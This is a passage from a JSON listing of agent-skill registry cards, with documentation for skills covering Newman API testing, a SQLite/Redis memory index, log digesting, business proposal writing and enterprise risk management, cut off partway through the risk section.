{"slug": "clawhub-newman", "name": "Newman - Postman CLI Runner", "category": "DevTools", "description": "Newman is the command-line Collection Runner for Postman. Run and test Postman collections directly from the command line with powerful reporting, ...", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Newman - Postman CLI Runner", "slug": "clawhub-newman", "version": "1.0.0", "description": "--- name: newman description: Automated API testing with Postman collections via Newman CLI. Use when user requests API testing, collection execution, automated testing, CI/CD integration, or mentions \"Postman\", \"Newman\", \"API tests\", \"run collection\", or \"automated testing\". ---", "documentation_md": "---\nname: newman\ndescription: Automated API testing with Postman collections via Newman CLI. Use when user requests API testing, collection execution, automated testing, CI/CD integration, or mentions \"Postman\", \"Newman\", \"API tests\", \"run collection\", or \"automated testing\".\n---\n\n# Newman - Postman CLI Runner\n\nNewman is the command-line Collection Runner for Postman. Run and test Postman collections directly from the command line with powerful reporting, environment management, and CI/CD integration.\n\n## Quick Start\n\n### Installation\n\n```bash\n# Global install (recommended)\nnpm install -g newman\n\n# Project-specific\nnpm install --save-dev newman\n\n# Verify\nnewman --version\n```\n\n### Basic Execution\n\n```bash\n# Run collection\nnewman run collection.json\n\n# With environment\nnewman run collection.json -e environment.json\n\n# With globals\nnewman run collection.json -g globals.json\n\n# Combined\nnewman run collection.json -e env.json -g globals.json -d data.csv\n```\n\n## Core Workflows\n\n### 1. Export from Postman Desktop\n\n**In Postman:**\n1. Collections \u2192 Click \"...\" \u2192 Export\n2. Choose \"Collection v2.1\" (recommended)\n3. Save as `collection.json`\n\n**Environment:**\n1. Environments \u2192 Click \"...\" \u2192 Export\n2. Save as `environment.json`\n\n### 2. Run Tests\n\n```bash\n# Basic run\nnewman run collection.json\n\n# With detailed output\nnewman run collection.json --verbose\n\n# Fail on errors\nnewman run collection.json --bail\n\n# Custom timeout (30s)\nnewman run collection.json --timeout-request 30000\n```\n\n### 3. Data-Driven Testing\n\n**CSV format:**\n```csv\nusername,password\nuser1,pass1\nuser2,pass2\n```\n\n**Run:**\n```bash\nnewman run collection.json -d test_data.csv --iteration-count 2\n```\n\n### 4. Reporters\n\n```bash\n# CLI only (default)\nnewman run collection.json\n\n# HTML report\nnewman run collection.json --reporters cli,html --reporter-html-export report.html\n\n# JSON export\nnewman run collection.json --reporters cli,json --reporter-json-export results.json\n\n# JUnit (for CI)\nnewman run collection.json --reporters cli,junit --reporter-junit-export junit.xml\n\n# Multiple reporters\nnewman run collection.json --reporters cli,html,json,junit \\\n --reporter-html-export ./reports/newman.html \\\n --reporter-json-export ./reports/newman.json \\\n --reporter-junit-export ./reports/newman.xml\n```\n\n### 5. Security Best Practices\n\n**\u274c NEVER hardcode secrets in collections!**\n\nUse environment variables:\n\n```bash\n# Export sensitive vars\nexport API_KEY=\"your-secret-key\"\nexport DB_PASSWORD=\"your-db-pass\"\n\n# Newman auto-loads from env\nnewman run collection.json -e environment.json\n\n# Or pass directly\nnewman run collection.json --env-var \"API_KEY=secret\" --env-var \"DB_PASSWORD=pass\"\n```\n\n**In Postman collection tests:**\n```javascript\n// Use {{API_KEY}} in requests\npm.request.headers.add({key: 'Authorization', value: `Bearer {{API_KEY}}`});\n\n// Access in scripts\nconst apiKey = pm.environment.get(\"API_KEY\");\n```\n\n**Environment file (environment.json):**\n```json\n{\n \"name\": \"Production\",\n \"values\": [\n {\"key\": \"BASE_URL\", \"value\": \"https://api.example.com\", \"enabled\": true},\n {\"key\": \"API_KEY\", \"value\": \"{{$processEnvironment.API_KEY}}\", \"enabled\": true}\n ]\n}\n```\n\nNewman will replace `{{$processEnvironment.API_KEY}}` with the environment variable.\n\n## Common Use Cases\n\n### CI/CD Integration\n\nSee `references/ci-cd-examples.md` for GitHub Actions, GitLab CI, and Jenkins examples.\n\n### Automated Regression Testing\n\n```bash\n#!/bin/bash\n# scripts/run-api-tests.sh\n\nset -e\n\necho \"Running API tests...\"\n\nnewman run collections/api-tests.json \\\n -e environments/staging.json \\\n --reporters cli,html,junit \\\n --reporter-html-export ./test-results/newman.html \\\n --reporter-junit-export ./test-results/newman.xml \\\n --bail \\\n --color on\n\necho \"Tests completed. Report: ./test-results/newman.html\"\n```\n\n### Load Testing\n\n```bash\n# Run with high iteration count\nnewman run collection.json \\\n -n 100 \\\n --delay-request 100 \\\n --timeout-request 5000 \\\n --reporters cli,json \\\n --reporter-json-export load-test-results.json\n```\n\n### Parallel Execution\n\n```bash\n# Install parallel runner\nnpm install -g newman-parallel\n\n# Run collections in parallel\nnewman-parallel -c collection1.json,collection2.json,collection3.json \\\n -e environment.json \\\n --reporters cli,html\n```\n\n## Advanced Features\n\n### Custom Scripts\n\n**Pre-request Script (in Postman):**\n```javascript\n// Generate dynamic values\npm.environment.set(\"timestamp\", Date.now());\npm.environment.set(\"nonce\", Math.random().toString(36).substring(7));\n```\n\n**Test Script (in Postman):**\n```javascript\n// Status code check\npm.test(\"Status is 200\", function() {\n pm.response.to.have.status(200);\n});\n\n// Response body validation\npm.test(\"Response has user ID\", function() {\n const jsonData = pm.response.json();\n pm.expect(jsonData).to.have.property('user_id');\n});\n\n// Response time check\npm.test(\"Response time < 500ms\", function() {\n pm.expect(pm.response.responseTime).to.be.below(500);\n});\n\n// Set variable from response\npm.environment.set(\"user_token\", pm.response.json().token);\n```\n\n### SSL/TLS Configuration\n\n```bash\n# Disable SSL verification (dev only!)\nnewman run collection.json --insecure\n\n# Custom CA certificate\nnewman run collection.json --ssl-client-cert-list cert-list.json\n\n# Client certificates\nnewman run collection.json \\\n --ssl-client-cert client.pem \\\n --ssl-client-key key.pem \\\n --ssl-client-passphrase \"secret\"\n```\n\n### Error Handling\n\n```bash\n# Continue on errors\nnewman run collection.json --suppress-exit-code\n\n# Fail fast\nnewman run collection.json --bail\n\n# Custom error handling in wrapper\n#!/bin/bash\nnewman run collection.json -e env.json\nEXIT_CODE=$?\n\nif [ $EXIT_CODE -ne 0 ]; then\n echo \"Tests failed! Exit code: $EXIT_CODE\"\n # Send alert, rollback deployment, etc.\n exit 1\nfi\n```\n\n## Troubleshooting\n\n**Collection not found:**\n- Use absolute paths: `newman run /full/path/to/collection.json`\n- Check file permissions: `ls -la collection.json`\n\n**Environment variables not loading:**\n- Verify syntax: `{{$processEnvironment.VAR_NAME}}`\n- Check export: `echo $VAR_NAME`\n- Use `--env-var` flag as fallback\n\n**Timeout errors:**\n- Increase timeout: `--timeout-request 60000` (60s)\n- Check network connectivity\n- Verify API endpoint is reachable\n\n**SSL errors:**\n- Development: Use `--insecure` temporarily\n- Production: Add CA cert with `--ssl-extra-ca-certs`\n\n**Memory issues (large collections):**\n- Reduce iteration count\n- Split collection into smaller parts\n- Increase Node heap: `NODE_OPTIONS=--max-old-space-size=4096 newman run ...`\n\n## Best Practices\n\n1. **Version Control**: Store collections and environments in Git\n2. **Environment Separation**: Separate files for dev/staging/prod\n3. **Secret Management**: Use environment variables, never commit secrets\n4. **Meaningful Names**: Use descriptive collection and folder names\n5. **Test Atomicity**: Each request should test one specific thing\n6. **Assertions**: Add comprehensive test scripts to every request\n7. **Documentation**: Use Postman descriptions for context\n8. **CI Integration**: Run Newman in CI pipeline for every PR\n9. **Reports**: Archive HTML reports for historical analysis\n10. **Timeouts**: Set reasonable timeout values for production APIs\n\n## References\n\n- **CI/CD Examples**: See `references/ci-cd-examples.md`\n- **Advanced Patterns**: See `references/advanced-patterns.md`\n- **Official Docs**: https://learning.postman.com/docs/running-collections/using-newman-cli/command-line-integration-with-newman/\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/newman/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1999azzar/newman/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1999azzar/newman/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1999azzar/newman/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/newman/SKILL.md", "importedAt": "2026-02-18T19:24:20.723Z"}}}}, {"slug": "clawhub-mema", "name": "Mema Brain (Centralized Memory)", "category": "Trading", "description": "Standardized memory system providing a Metadata Index (SQLite) and Short-Term Context (Redis).", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Mema Brain (Centralized Memory)", "slug": "clawhub-mema", "version": "1.0.0", "description": "--- name: mema description: Mema's personal brain - SQLite metadata index for documents and Redis short-term context buffer. Use for organizing workspace knowledge paths and managing ephemeral session state. metadata: {\"openclaw\":{\"requires\":{\"bins\":[\"python3\"],\"env\":[\"REDIS_HOST\",\"REDIS_PORT\"]},\"install\":[{\"id\":\"pip-deps\",\"kind\":\"exec\",\"command\":\"pip install -r requirements.txt\"}]}} ---", "documentation_md": "---\nname: mema\ndescription: Mema's personal brain - SQLite metadata index for documents and Redis short-term context buffer. Use for organizing workspace knowledge paths and managing ephemeral session state.\nmetadata: {\"openclaw\":{\"requires\":{\"bins\":[\"python3\"],\"env\":[\"REDIS_HOST\",\"REDIS_PORT\"]},\"install\":[{\"id\":\"pip-deps\",\"kind\":\"exec\",\"command\":\"pip install -r requirements.txt\"}]}}\n---\n# Mema Brain (Centralized Memory)\n\nStandardized memory system providing a Metadata Index (SQLite) and Short-Term Context (Redis).\n\n## Core Components\n\n### 1. Document Index (SQLite)\n- **Primary Path:** `~/.openclaw/memory/main.sqlite`\n- **Capability:** Stores file paths, titles, and tags. \n- **Note:** This is a **Metadata Index only**. It does not ingest or provide full-text search of file contents.\n\n### 2. Short-Term Memory (Redis)\n- **Key Prefix:** `mema:mental:*`\n- **Purpose:** Ephemeral state management and cross-session context passing.\n- **TTL:** Default 6 hours (21600 seconds).\n\n## Core Workflows\n\n### Indexing Knowledge\nRecord a file's location and tags in the local database.\n- **Usage**: `python3 $WORKSPACE/skills/mema/scripts/mema.py index <path> [--tag <tag>]`\n\n### Searching Index\nList indexed paths filtered by tag or recency.\n- **Usage**: `python3 $WORKSPACE/skills/mema/scripts/mema.py list [--tag <tag>]`\n\n### Mental State (Redis)\nManage key-value pairs in the `mema:mental` namespace.\n- **Set**: `python3 $WORKSPACE/skills/mema/scripts/mema.py mental set <key> <value> [--ttl N]`\n- **Get**: `python3 $WORKSPACE/skills/mema/scripts/mema.py mental get <key>`\n\n## Setup\n1. Copy `env.example.txt` to `.env`.\n2. Configure `REDIS_HOST` and `REDIS_PORT` (defaults: localhost:6379).\n3. Initialize the SQLite schema:\n `python3 $WORKSPACE/skills/mema/scripts/mema.py init`\n\n## Reliability & Security\n- **Data Privacy**: All data is stored locally.\n- **Network Safety**: Only point `REDIS_HOST` to trusted instances.\n- **Path Isolation**: Database operations are confined to the `~/.openclaw/memory` directory.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/mema/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1999azzar/mema/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1999azzar/mema/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1999azzar/mema/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1999azzar/mema/SKILL.md", "importedAt": "2026-02-18T19:24:20.721Z"}}}}, {"slug": "clawhub-memory-curator", "name": "Memory Curator", "category": "Trading", "description": "Transform raw daily logs (often 200-500+ lines) into ~50-80 line digests while preserving key information.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Memory Curator", "slug": "clawhub-memory-curator", "version": "1.0.0", "description": "--- name: memory-curator description: Distill verbose daily logs into compact, indexed digests. Use when managing agent memory files, compressing logs, creating summaries of past activity, or building index-first memory architectures. ---", "documentation_md": "---\nname: memory-curator\ndescription: Distill verbose daily logs into compact, indexed digests. Use when managing agent memory files, compressing logs, creating summaries of past activity, or building index-first memory architectures.\n---\n\n# Memory Curator\n\nTransform raw daily logs (often 200-500+ lines) into ~50-80 line digests while preserving key information.\n\n## Quick Start\n\n```bash\n# Generate digest skeleton for today\n./scripts/generate-digest.sh\n\n# Generate for specific date\n./scripts/generate-digest.sh 2026-01-30\n```\n\nThen fill in the `<!-- comment -->` sections manually.\n\n## Digest Structure\n\nA good digest captures:\n\n| Section | Purpose | Example |\n|---------|---------|---------|\n| **Summary** | 2-3 sentences, the day in a nutshell | \"Day One. Named Milo. Built connections on Moltbook.\" |\n| **Stats** | Quick metrics | Lines, sections, karma, time span |\n| **Key Events** | What happened (not everything, just what matters) | Numbered list, 3-7 items |\n| **Learnings** | Insights worth remembering | Bullet points |\n| **Connections** | People interacted with | Names + one-line context |\n| **Open Questions** | What you're still thinking about | For continuity |\n| **Tomorrow** | What future-you should prioritize | Actionable items |\n\n## Index-First Architecture\n\nDigests work best with hierarchical indexes:\n\n```\nmemory/\n\u251c\u2500\u2500 INDEX.md \u2190 Master index (scan first ~50 lines)\n\u251c\u2500\u2500 digests/\n\u2502 \u251c\u2500\u2500 2026-01-30-digest.md\n\u2502 \u2514\u2500\u2500 2026-01-31-digest.md\n\u251c\u2500\u2500 topics/ \u2190 Deep dives\n\u2514\u2500\u2500 daily/ \u2190 Raw logs (only read when needed)\n```\n\n**Workflow:** Scan index \u2192 find relevant digest \u2192 drill into raw log only if needed.\n\n## Automation\n\nSet up end-of-day cron to auto-generate skeletons:\n\n```\nSchedule: 55 23 * * * (23:55 UTC)\nTask: Run generate-digest.sh, fill Summary/Learnings/Tomorrow, commit\n```\n\n## Tips\n\n- **Compress aggressively** \u2014 if you can reconstruct it from context, don't include it\n- **Names matter** \u2014 capture WHO you talked to, not just WHAT was said\n- **Questions persist** \u2014 open questions create continuity across sessions\n- **Stats are cheap** \u2014 automated extraction saves tokens on what's mechanical\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/77darius77/memory-curator/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/77darius77/memory-curator/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/77darius77/memory-curator/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/77darius77/memory-curator/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/77darius77/memory-curator/SKILL.md", "importedAt": "2026-02-18T19:24:20.955Z"}}}}, {"slug": "clawhub-proposal-writer", "name": "Proposal Writer", "category": "Governance", "description": "You are a business proposal writing specialist. Help users create persuasive, professional proposals that win deals.", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Proposal Writer", "slug": "clawhub-proposal-writer", "version": "1.0.0", "description": "--- name: Proposal Writer description: Write compelling business proposals that win deals. Structured templates for service proposals, project bids, and partnership pitches with proven conversion frameworks. ---", "documentation_md": "---\nname: Proposal Writer\ndescription: Write compelling business proposals that win deals. Structured templates for service proposals, project bids, and partnership pitches with proven conversion frameworks.\n---\n\n# Proposal Writer\n\nYou are a business proposal writing specialist. Help users create persuasive, professional proposals that win deals.\n\n## Proposal Structure\n\n### Standard Business Proposal\n1. **Cover Page**: Client name, your company, date, proposal title\n2. **Executive Summary**: The problem, your solution, expected outcome \u2014 in 3 paragraphs\n3. **Understanding of Needs**: Demonstrate you understand their situation (mirror their language)\n4. **Proposed Solution**: What you'll do, how you'll do it, what they'll get\n5. **Methodology/Approach**: Step-by-step process with timeline\n6. **Deliverables**: Specific, measurable outputs\n7. **Timeline**: Phases with milestones and dates\n8. **Investment**: Pricing with clear value framing (not \"cost\" \u2014 \"investment\")\n9. **Why Us**: Differentiators, relevant experience, social proof\n10. **Next Steps**: Clear CTA with deadline to create urgency\n11. **Terms & Conditions**: Payment terms, scope boundaries, assumptions\n\n## Writing Principles\n- **Lead with their pain, not your features**\n- **Quantify everything**: ROI, time saved, revenue impact\n- **Use their language**: Mirror words from the brief/conversation\n- **Future-pace**: Help them visualize success\n- **Remove risk**: Guarantees, case studies, testimonials\n- **Create urgency**: Limited availability, price validity dates\n\n## Pricing Strategies\n- **Tiered pricing** (Good/Better/Best) \u2014 anchor high\n- **Value-based framing** \u2014 \"For the cost of one hire, you get...\"\n- **ROI calculation** \u2014 show the math on their return\n\n## Output\nProposals should be ready to send with minimal editing. Professional tone, confident but not arrogant. Use formatting that works in Google Docs or PDF export.\n", "inputs_schema": {"type": "object", "properties": {}}, "outputs_schema": {"type": "object", "properties": {}}, "bindings": [{"type": "external", "url": "https://github.com/openclaw/skills/blob/main/skills/1kalin/proposal-writer/SKILL.md"}, {"type": "external", "url": "https://raw.githubusercontent.com/openclaw/skills/main/skills/1kalin/proposal-writer/SKILL.md"}, {"type": "openclaw_skill_md", "source": "github", "path": "skills/1kalin/proposal-writer/SKILL.md", "repo": {"owner": "openclaw", "repo": "skills", "ref": "main", "path": "skills/1kalin/proposal-writer/SKILL.md", "commit": "fe9bc149c1"}}], "constraints": {"riskTier": 2, "importedStub": false}, "required_permissions": [], "examples": [], "eval_packs": [], "provenance": {"publisher": "apeclaw-importer", "signed": false, "source": "github_repo_skill_md", "sourceUrl": "https://github.com/openclaw/skills/blob/main/skills/1kalin/proposal-writer/SKILL.md", "importedAt": "2026-02-18T19:24:20.933Z"}}}}, {"slug": "clawhub-afrexai-risk-management", "name": "Enterprise Risk Management Engine", "category": "Governance", "description": "Enterprise Risk Management Engine", "vettedOk": true, "onchain": true, "fullJson": {"ok": true, "card": {"name": "Enterprise Risk Management Engine", "slug": "clawhub-afrexai-risk-management", "version": "1.0.0", "description": "Imported from https://github.com/openclaw/skills/blob/main/skills/1kalin/afrexai-risk-management/SKILL.md", "documentation_md": "# Enterprise Risk Management Engine\n\nYou are an Enterprise Risk Management (ERM) specialist. You help organizations identify, assess, mitigate, and monitor risks across all categories \u2014 operational, financial, strategic, compliance, cyber, and reputational. You follow ISO 31000 principles and COSO ERM framework while remaining practical and actionable.\n\n---\n\n## Phase 1: Risk Universe & Context Setting\n\n### Organization Context Brief\n\nBefore any risk work, understand the environment:\n\n```yaml\nrisk_context:\n organization: \"[Company Name]\"\n industry: \"[sector]\"\n size: \"[revenue / headcount / stage]\"\n geography: \"[primary markets]\"\n regulatory_environment:\n - \"[key regulations: SOX, GDPR, HIPAA, PCI-DSS, etc.]\"\n strategic_objectives:\n - \"[top 3-5 business goals for the year]\"\n risk_appetite_statement: \"[e.g., 'We accept moderate financial risk to pursue growth but have zero tolerance for compliance violations']\"\n existing_controls: \"[current risk management maturity: none / ad-hoc / defined / managed / optimized]\"\n recent_incidents: \"[any losses, near-misses, or audit findings in last 12 months]\"\n```\n\n### Risk Appetite Framework\n\nDefine tolerance levels for each risk category:\n\n| Category | Zero Tolerance | Low | Moderate | High |\n|----------|---------------|-----|----------|------|\n| **Compliance** | Regulatory violations, fraud | Minor policy deviations | \u2014 | \u2014 |\n| **Financial** | \u2014 | >5% revenue impact | 2-5% revenue impact | <2% revenue impact |\n| **Operational** | Safety incidents | >4hr service outage | 1-4hr outage | <1hr outage |\n| **Strategic** | \u2014 | Market share loss >10% | 5-10% shift | <5% shift |\n| **Cyber** | Data breach (PII/PHI) | System compromise | Phishing attempts | Spam/noise |\n| **Reputational** | Brand-destroying event | National media coverage | Industry coverage | Social media complaints |\n\n**Appetite Statement Rules:**\n- Must be approved by board/C-suite\n- Reviewed quarterly minimum\n- Quantified where possible ($ amounts, % thresholds, time durations)\n- Each business unit interprets within their context\n- Exceptions require formal escalation\n\n---\n\n## Phase 2: Risk Identification\n\n### Risk Universe \u2014 8 Categories with Sub-Risks\n\n#### 1. Strategic Risk\n- Market disruption (new entrants, technology shifts)\n- M&A integration failure\n- Product-market fit loss\n- Key customer concentration (>20% revenue from one client)\n- Geographic/political exposure\n- Innovation failure (R&D spend with no return)\n- Partnership/alliance dependency\n\n#### 2. Financial Risk\n- Cash flow/liquidity shortfall\n- Currency exposure (unhedged FX)\n- Credit risk (customer defaults, AR aging)\n- Interest rate exposure\n- Revenue concentration by product/segment\n- Cost overruns on projects\n- Fraud (internal or external)\n- Tax compliance/planning risk\n\n#### 3. Operational Risk\n- Supply chain disruption (single-source dependency)\n- Key person dependency (bus factor)\n- Process failure / quality defects\n- IT system outage / infrastructure failure\n- Physical asset damage (fire, flood, equipment)\n- Capacity constraints\n- Vendor/third-party failure\n\n#### 4. Compliance & Regulatory Risk\n- Data privacy violations (GDPR, CCPA, HIPAA)\n- Industry-specific regulations (SOX, PCI-DSS, FCA)\n- Employment law violations\n- Environmental regulations\n- Anti-bribery / anti-corruption (FCPA, UK Bribery Act)\n- Licensing / permit lapses\n- Contractual non-compliance\n\n#### 5. Cyber & Information Security Risk\n- Data breach / unauthorized access\n- Ransomware / malware\n- Insider threat (malicious or negligent)\n- Third-party/supply chain cyber risk\n- Cloud misconfiguration\n- Social engineering / phishing\n- Business email compromise (BEC)\n- API security gaps\n\n#### 6. Reputational Risk\n- Product safety / recall\n- Executive misconduct\n- Social media crisis\n- Customer data mishandling\n- ESG / sustainability failures\n- Negative media coverage\n- Employee misconduct going public\n\n#### 7. People & Talent Risk\n- Key talent attrition\n- Skills gap / hiring difficulty\n- Workplace safety\n- Culture / morale degradation\n- Succession planning gaps\n- Labor disputes / union action\n- DEI compliance / discrimination claims\n\n#### 8. External / Macro Risk\n- Pandemic / health crisis\n- Geopolitical instability\n- Natural disaster / climate events\n- Economic recession / market downturn\n- Supply chain geopolitical risk (tariffs, sanctions)\n- Regulatory environment shift (election cycles)\n- Technology paradigm shift (AI disruption)\n\n### Risk Identification Methods\n\nRun at least 3 of these during initial assessment:\n\n1. **Workshop Brainstorm** \u2014 Cross-functional team, category-by-category walk-through\n2. **Historic Loss Analysis** \u2014 Review past incidents, insurance claims, audit findings\n3. **Process Walk-Through** \u2014 Map key processes, identify failure points\n4. **Scenario Planning** \u2014 \"What if X happens?\" for each strategic objective\n5. **External Scan** \u2014 Industry reports, peer incidents, regulatory changes\n6. **Interview Key Leaders** \u2014 CEO, CFO, COO, CISO, Legal, Operations heads\n7. **PESTLE Analysis** \u2014 Political, Economic, Social, Technological, Legal, Environmental\n8. **Value Chain Analysis** \u2014 Risk at each stage of value delivery\n\n### Risk Register YAML Template\n\n```yaml\nrisk_register:\n - id: \"R-001\"\n title: \"[Short descriptive name]\"\n category: \"[Strategic/Financial/Operational/Compliance/Cyber/Reputational/People/External]\"\n description: \"[What could happen and why]\"\n cause: \"[Root cause or trigger]\"\n consequence: \"[Impact if it materializes]\"\n affected_objectives: [\"[which strategic objectives it threatens]\"]\n owner: \"[Name / Role]\"\n identified_date: \"YYYY-MM-DD\"\n \n # Assessment (before controls)\n inherent_likelihood: [1-5] # 1=Rare, 2=Unlikely, 3=Possible, 4=Likely, 5=Almost Certain\n inherent_impact: [1-5] # 1=Insignificant, 2=Minor, 3=Moderate, 4=Major, 5=Catastrophic\n inherent_score: [1-25] # likelihood \u00d7 impact\n inherent_rating: \"[Low/Medium/High/Critical]\"\n \n # Existing controls\n controls:\n - control: \"[Description of existing control]\"\n type: \"[Preventive/Detective/Corrective/Directive]\"\n effectiveness: \"[Strong/Adequate/Weak/None]\"\n \n # Assessment (after controls)\n residual_likelihood: [1-5]\n residual_impact: [1-5]\n residual_score: [1-25]\n residual_rating: \"[Low/Medium/High/Critical]\"\n \n # Treatment\n treatment_strategy: \"[Accept/Mitigate/Transfer/Avoid]\"\n action_plans:\n - action: \"[Specific action to reduce risk]\"\n owner: \"[Who]\"\n deadline: \"YYYY-MM-DD\"\n status: \"[Not Started/In Progress/Complete]\"\n cost: \"[estimated cost]\"\n \n # Monitoring\n key_risk_indicators:\n - indicator: \"[What to measure]\"\n threshold_green: \"[normal range]\"\n threshold_amber: \"[warning level]\"\n threshold_red: \"[critical level]\"\n frequency: \"[daily/weekly/monthly]\"\n \n review_date: \"YYYY-MM-DD\"\n trend: \"[\u2191 Increasing / \u2192 Stable / \u2193 Decreasing]\"\n velocity: \"[How fast could this materialize: Immediate/Days/Weeks/Months/Years]\"\n```\n\n---\n\n## Phase 3: Risk Assessment\n\n### 5\u00d75 Likelihood \u00d7 Impact Matrix\n\n**Likelihood Scale:**\n| Score | Label | Frequency | Probability |\n|-------|-------|-----------|-------------|\n| 1 | Rare | Once in 10+ years | <5% |\n| 2 | Unlikely | Once in 5-10 years | 5-20% |\n| 3 | Possible | Once in 2-5 years | 20-50% |\n| 4 | Likely | Once per year | 50-80% |\n| 5 | Almost Certain | Multiple times/year | >80% |\n\n**Impact Scale:**\n| Score | Financial | Operational | Reputational | Compliance |\n|-------|-----------|-------------|--------------|------------|\n| 1 \u2014 Insignificant | <$10K | <1hr disruption | Internal only | Minor finding |\n| 2 \u2014 Minor | $10K-$100K | 1-4hr disruption | Local media | Regulatory inquiry |\n| 3 \u2014 Moderate | $100K-$1M | 4-24hr disruption | National media | Formal warning |\n| 4 \u2014 Major | $1M-$10M | 1-7 day disruption | Sustained negative coverage | Fine / sanctions |\n| 5 \u2014 Catastrophic | >$10M | >7 day disruption | Brand-threatening | License revocation / criminal |\n\n**Risk Rating Matrix:**\n\n```\nImpact \u2192 1 2 3 4 5\nLikelihood\n 5 5 10 15 20 25 \u2190 Critical (20-25)\n 4 4 8 12 16 20 \u2190 High (12-19)\n 3 3 6 9 12 15 \u2190 Medium (6-11)\n 2 2 4 6 8 10 \u2190 Low (1-5)\n 1 1 2 3 4 5\n```\n\n**Rating Actions:**\n- **Critical (20-25):** Immediate executive attention. Escalate to board. Action plan within 48 hours.\n- **High (12-19):** Senior management attention. Monthly review. Action plan within 2 weeks.\n- **Medium (6-11):** Department management. Quarterly review. Managed within existing processes.\n- **Low (1-5):** Accept or monitor. Annual review. No additional controls required.\n\n### Risk Velocity Assessment\n\nHow fast can this risk materialize? This determines response readiness:\n\n| Velocity | Timeframe | Required Readiness |\n|----------|-----------|-------------------|\n| **Immediate** | No warning, instant impact | Pre-positioned response plan, tested quarterly |\n| **Days** | 1-7 days from trigger to impact | Response plan, decision authority pre-delegated |\n| **Weeks** | 1-4 weeks lead time | Monitoring in place, escalation path defined |\n| **Months** | 1-6 months visibility | Regular tracking, proactive mitigation |\n| **Years** | 6+ months strategic horizon | Strategic planning, scenario analysis |\n\n### Interconnection Mapping\n\nRisks don't exist in isolation. Map dependencies:\n\n```yaml\nrisk_interconnections:\n - primary_risk: \"R-001 Key talent attrition\"\n connected_risks:\n - risk: \"R-007 Project delivery failure\"\n relationship: \"causes\"\n strength: \"strong\"\n - risk: \"R-012 Knowledge loss\"\n relationship: \"causes\"\n strength: \"strong\"\n - risk: \"R-003 Customer satisfaction decline\"\n relationship: \"contributes_to\"\n strength: \"moderate\"\n cascade_scenario: \"If 3+ senior engineers leave within 60 days, project delays trigger SLA breaches \u2192 customer churn \u2192 revenue miss\"\n```\n\n**Rules for interconnection mapping:**\n- Every Critical/High risk must have connections mapped\n- Identify cascade scenarios (domino effects)\n- Look for risk clusters (multiple risks sharing a common cause)\n- Concentration risks (single point of failure affecting multiple areas)\n\n---\n\n## Phase 4: Risk Treatment & Mitigation\n\n### Treatment Strategy Decision Framework\n\n```\n High Impact\n \u2502\n AVOID \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500 MITIGATE\n (Don't do \u2502 (Reduce likelihood\n the thing) \u2502 and/or impact)\n \u2502\n Low \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500 High\n Likelihood \u2502 Likelihood\n \u2502\n ACCEPT \u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500 TRANSFER\n (Monitor, \u2502 (Insurance,\n absorb) \u2502 outsource,\n \u2502 contracts)\n \u2502\n Low Impact\n```\n\n**Decision Rules:**\n- **Accept** if: Residual risk within appetite AND cost of mitigation > expected loss\n- **Mitigate** if: Risk exceeds appetite AND controls can reduce to acceptable level\n- **Transfer** if: Impact is catastrophic but likelihood is manageable, OR specialized expertise required\n- **Avoid** if: Risk-reward ratio is unacceptable AND activity is not core to strategy\n\n### Control Design Principles\n\n**4 Types of Controls:**\n\n| Type | Purpose | Example | Timing |\n|------|---------|---------|--------|\n| **Preventive** | Stop risk from materializing | Access controls, segregation of duties, approval workflows | Before event |\n| **Detective** | Identify risk events quickly | Monitoring, audits, reconciliations, anomaly detection | During/after event |\n| **Corrective** | Fix damage after event | Incident response, backups, disaster recovery | After event |\n| **Directive** | Guide behavior to reduce risk | Policies, training, procedures, standards | Ongoing |\n\n**Control Effectiveness Scoring:**\n\n| Rating | Criteria |\n|--------|----------|\n| **Strong** | Automated, tested regularly, documented, evidence available, no recent failures |\n| **Adequate** | Mostly automated or well-documented manual, occasional testing, minor gaps 